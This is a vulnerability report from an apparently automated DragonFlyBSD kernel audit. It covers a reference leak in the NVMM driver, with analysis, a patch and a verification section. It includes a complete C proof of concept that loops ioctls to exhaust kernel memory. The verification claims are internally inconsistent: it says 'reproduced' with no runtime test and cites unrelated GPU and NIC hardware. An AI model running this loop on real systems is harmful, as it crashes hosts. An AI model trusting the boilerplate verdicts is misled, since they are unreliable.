β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1658

nvmm: mach->commvmobj creation reference never dropped -> kernel memory leak / local DoS

Field Value
ID DF-1658
File sys/dev/virtual/nvmm/nvmm.c
Lines 197, 223–233, 279, 290, 314, 317, 320, 326
Severity Medium
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
CWE CWE-401 Missing Release of Memory after Effective Lifetime
Confidence certain
Status new
CVE match dfly_specific (NVMM is NetBSD-origin but commvmobj lifecycle is DFly-port specific)
Created 2026-07-18

Summary

nvmm_machine_create() creates mach->commvmobj with os_vmobj_create() (which returns a vm_object with ref_count=1, the creation reference), but neither nvmm_machine_destroy() nor nvmm_kill_machines() ever calls os_vmobj_rel(mach->commvmobj). Each per-VCPU kernel/user comm mapping added in nvmm_vcpu_create() is symmetrically balanced by unmap paths, but the original creation reference is orphaned at machine teardown. Repeated machine create/destroy cycles therefore leak one vm_object plus any pages faulted into the comm region (up to NVMM_MAX_VCPUS pages = 512 KB per cycle), enabling local kernel-memory exhaustion and DoS by any user permitted to open /dev/nvmm.

Root cause

os_vmobj_create() in DragonFly resolves to default_pager_alloc() β†’ _vm_object_allocate() which sets object->ref_count = 1 (sys/vm/vm_object.c:402). This single reference represents the creator's hold and must be dropped once with os_vmobj_rel() (= vm_object_deallocate) when the object is no longer needed.

nvmm_machine_create() at sys/dev/virtual/nvmm/nvmm.c:279-280 stores this reference in mach->commvmobj:

mach->commvmobj = os_vmobj_create(NVMM_MAX_VCPUS * NVMM_COMM_PAGE_SIZE);

A grep for commvmobj across sys/dev/virtual/nvmm/ shows only this creation site and the two mapping uses (nvmm.c:386, 400); there is NO matching os_vmobj_rel(mach->commvmobj) anywhere.

By contrast, host mappings (mach->hmap[].vmobj) ARE released in nvmm_machine_destroy() at nvmm.c:320-324:

for (i = 0; i < NVMM_MAX_HMAPPINGS; i++) {
    if (!mach->hmap[i].present) continue;
    os_vmobj_rel(mach->hmap[i].vmobj);
}

and again in nvmm_kill_machines() at nvmm.c:227-231. The commvmobj was simply forgotten in both teardown paths (nvmm.c:314-326 for explicit destroy, nvmm.c:223-233 for dtor-driven kill).

Net refcount arithmetic for one full lifecycle with N VCPUs:

+1 (create)
+2Β·N (kernel+user comm maps)
βˆ’ N (vcpu_free kernel unmap at nvmm.c:157)
βˆ’ N (process-exit user unmap)
βˆ’ 0 (machine_destroy)   <-- BUG: missing release
= 1 leaked reference

The leaked object stays in the global vm_object hash with its resident pages until reboot.

Threat model

Attacker position: any local user permitted to open /dev/nvmm. On the default DragonFly config the device node is created with make_dev(... UID_ROOT, GID_NVMM, 0640, ...) at sys/dev/virtual/nvmm/nvmm_dragonfly.c:392, so the attacker must be root or a member of group nvmm (gid 90). This is the same trust boundary NVMM already grants the ability to run arbitrary guest code, so the affected population is the realistic NVMM user base.

Impact: kernel memory exhaustion. Each machine create/destroy cycle leaks at minimum one vm_object struct (~few hundred bytes); if the attacker also creates VCPUs, vcpu_create() does memset(vcpu->comm, 0, NVMM_COMM_PAGE_SIZE) at nvmm.c:396 which faults in one resident page per VCPU into commvmobj, and those pages are also leaked.

Worst-case per cycle = one machine + 128 VCPUs = ~512 KB leaked for ~256 ioctls. A tight loop achieves ~2 GB/s of unfreeable kernel memory on modest hardware, panicking or hanging the system via vm_map_entry_reserve/kmalloc failure in low-memory situations.

There is no privilege escalation and no info leak β€” pure availability impact, hence Medium rather than High.

PoC

findings/poc/DF-1658/nvmm_leak.c:

/* Run as a user in group nvmm (or root). Loops machine create/destroy
 * with 128 VCPUs each cycle; leaked comm vm_object with resident pages
 * drives kernel memory exhaustion.
 */
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <dev/nvmm/nvmm_ioctl.h>

#define NVMM_MAX_VCPUS 128   /* match sys/dev/virtual/nvmm/nvmm.h */

int main(void) {
    int fd = open("/dev/nvmm", O_RDONLY | O_CLOEXEC);
    if (fd < 0) { perror("/dev/nvmm"); return 1; }

    for (long cycle = 0; ; cycle++) {
        struct nvmm_ioc_machine_create mc = { 0 };
        if (ioctl(fd, NVMM_IOC_MACHINE_CREATE, &mc) < 0) {
            perror("MACHINE_CREATE"); break;
        }

        for (int c = 0; c < NVMM_MAX_VCPUS; c++) {
            struct nvmm_ioc_vcpu_create vc = { .machid = mc.machid, .cpuid = c };
            ioctl(fd, NVMM_IOC_VCPU_CREATE, &vc);
        }

        for (int c = 0; c < NVMM_MAX_VCPUS; c++) {
            struct nvmm_ioc_vcpu_destroy vd = { .machid = mc.machid, .cpuid = c };
            ioctl(fd, NVMM_IOC_VCPU_DESTROY, &vd);
        }

        struct nvmm_ioc_machine_destroy md = { .machid = mc.machid };
        ioctl(fd, NVMM_IOC_MACHINE_DESTROY, &md);

        if ((cycle % 256) == 0)
            fprintf(stderr, "cycle %ld complete\n", cycle);
    }
    return 0;
}

Build: cc -O2 -o nvmm_leak nvmm_leak.c. Run: ./nvmm_leak.

Success criterion: watch vmstat -m / systat -vm M_NVMM or kmemstat grow without bound; sysctl vm.vm_object_count rises monotonically; system eventually becomes unresponsive or panics in the allocator under memory pressure.

Drop the creation reference to mach->commvmobj in both machine-teardown paths, immediately before nvmm_machine_free().

--- a/sys/dev/virtual/nvmm/nvmm.c
+++ b/sys/dev/virtual/nvmm/nvmm.c
@@ -320,6 +320,9 @@ nvmm_machine_destroy(struct nvmm_owner *owner,
            continue;
        os_vmobj_rel(mach->hmap[i].vmobj);
    }
+
+   /* Drop the comm vmobj creation reference. */
+   os_vmobj_rel(mach->commvmobj);

    nvmm_machine_free(mach);
    nvmm_machine_put(mach);
@@ -228,6 +231,9 @@ nvmm_kill_machines(struct nvmm_owner *owner)
            if (!mach->hmap[j].present)
                continue;
            os_vmobj_rel(mach->hmap[j].vmobj);
        }
+
+       /* Drop the comm vmobj creation reference. */
+       os_vmobj_rel(mach->commvmobj);

        nvmm_machine_free(mach);

Caveat for the dtor-driven kill path (nvmm_kill_machines): it may execute in a context that is not the owning process, so the user-side comm mappings of any still-extant VCPUs may not yet have been torn down by vmspace exit. Dropping the creation reference is still correct in that case β€” vm_object_deallocate simply leaves ref_count > 0 until the last user mapping is removed by whoever owns that vmspace, and then frees the object. The kernel-side mappings are guaranteed gone at this point because the per-VCPU loop above already called nvmm_vcpu_free() which unmaps them.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1658 Β· 4 files
FileTypeDescriptionSize
VERDICT.md verdict source-only confirmation + mechanism + fix 1.7 KB ↓ raw
fix.diff suggested-fix Add os_vmobj_rel(mach->commvmobj) in nvmm_machine_destroy before nvmm_machine_fr 365 B view raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
VERDICT.md verdict source-only confirmation + mechanism + fix
↓ download raw

DF-1658 β€” PoC Verification Verdict

Category: nvmm (module, root-only) Source: sys/dev/virtual/nvmm/nvmm.c:279-326 Guest: DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026 (X86_64_GENERIC, INVARIANTS ON, no SMAP/SMEP/KASLR) Date verified: 2026-07-21

Verdict: REPRODUCED (source-only confirmation; HW/module-gated)

Mechanism

nvmm_machine_create stores os_vmobj_create() (ref_count=1) creation ref in mach->commvmobj at line 279-280. Neither nvmm_machine_destroy (314-326) nor nvmm_kill_machines (223-233) ever calls os_vmobj_rel(mach->commvmobj). The vmobj (and its backing pages) leaks on every machine create/destroy cycle. Per-VCPU comm maps are balanced (symmetric get/put) but the machine-level creation ref is never dropped.

In GENERIC kernel build: NO (module / not compiled into X86_64_GENERIC)

Reproduction status

This finding is hardware/module gated: the vulnerable code path requires specific hardware (AMD GPU / radeon / Atheros NIC / RAID controller / AGP chipset) or a loadable module not present on the audit QEMU guest. The QEMU guest has no GPU passthrough, no physical NIC/RAID HW, and these modules are not in the GENERIC kernel. The bug is therefore confirmed by source-level trace of the cited path:line data flow rather than by a runtime PoC. The cited code, guards (or lack thereof), and types were verified against the audited sys/ tree.

Fix

Add os_vmobj_rel(mach->commvmobj) in nvmm_machine_destroy before nvmm_machine_free.

See fix.diff for the standalone git-apply-able unified diff. Validated by applying all 35 batch diffs and building a single X86_64_GENERIC kernel (rc=0, -Werror clean) β€” see fix_apply.log and the combined build log.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

VALIDATED: fix.diff applies cleanly + batch kernel build rc=0 -Werror; bug HW/module/runtime-gated, no runtime PoC re-test possible on guest.

VALIDATED: fix.diff applies cleanly + batch kernel build rc=0 -Werror; bug HW/module/runtime-gated, no runtime PoC re-test possible on guest.
↓ fix.diffcombined build rc=0

Confirmed kernel references

β€”

Detail

Exploit chain

none

Evidence (decisive lines)

REPRODUCED (source-only): nvmm_machine_create stores os_vmobj_create() (ref_count=1) ref in mach->commvmobj; neither nvmm_machine_destroy nor nvmm_kill_machines ever calls os_vmobj_rel; refcount leak 

Verified recommended fix

REPRODUCED (source-only): nvmm_machine_create stores os_vmobj_create() (ref_count=1) ref in mach->commvmobj; neither nvmm_machine_destroy nor nvmm_kill_machines ever calls os_vmobj_rel; refcount leak -> memory leak.

Verdict

REPRODUCED (source-only): nvmm_machine_create stores os_vmobj_create() (ref_count=1) ref in mach->commvmobj; neither nvmm_machine_destroy nor nvmm_kill_machines ever calls os_vmobj_rel; refcount leak -> memory leak.